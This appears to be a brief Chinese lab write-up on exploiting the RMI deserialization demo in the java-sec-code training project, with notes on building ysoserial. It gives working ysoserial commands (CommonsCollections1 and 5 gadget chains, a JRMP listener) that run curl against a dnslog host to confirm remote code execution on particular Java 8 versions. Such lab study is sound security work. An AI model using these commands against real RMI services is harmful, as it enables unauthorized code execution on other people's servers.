java-sec-code中rmi
暂时没有搞懂原理,这里只说明利用方法
java-sec-code
作者给出的是使用ysoserial
进行利用
测试环境搭建
docker环境下,1099端口默认不开启,这里使用idea运行org.joychou.RMI.Server
即可
个人电脑java环境分为1.8.381
1.8.043
1.8.121
测试Java 1.8.121
上下版本不同利用方式,使用https://dig.pm/
作为dnslog平台
java1.8.043环境
poc
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit target_ip 1099 CommonsCollections1 "curl xxxx.ipv6.1433.eu.org/aaa"
dns平台有回显
java1.8.121
利用方式
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl d84d55bd53.ipv6.1433.eu.org/rmi'
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit2 192.168.2.3 1099 192.168.2.5 12345
当然了,这两个命令都运行ysoserial-0.0.6-SNAPSHOT-all.jar
是没有问题的,区别只在于ysoserial-0.0.6-SNAPSHOT-all.jar
是添加了RMIRegistryExploit2
,重新打包的,而ysoserial-all.jar
是ysoserial
作者提供的原生jar包
java 1.8.381 利用不了 以目前的java版本来说,本人并没有找到相应的利用方法,可能只是图一乐呵
题外话
https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI
https://github.com/frohoff/ysoserial
编译ysoserial
可能会失败,建议在vps
上面打包,使用mvn clean package -DskipTests
命令进行打包,
打包失败报错,如果显示是javax.interceptor-api:3.1
失败的话,将pom.xml
里面的version
修改为1.2.2即可
<dependency>
<groupId>javax.interceptor</groupId>
<artifactId>javax.interceptor-api</artifactId>
<version>1.2.2</version>
</dependency>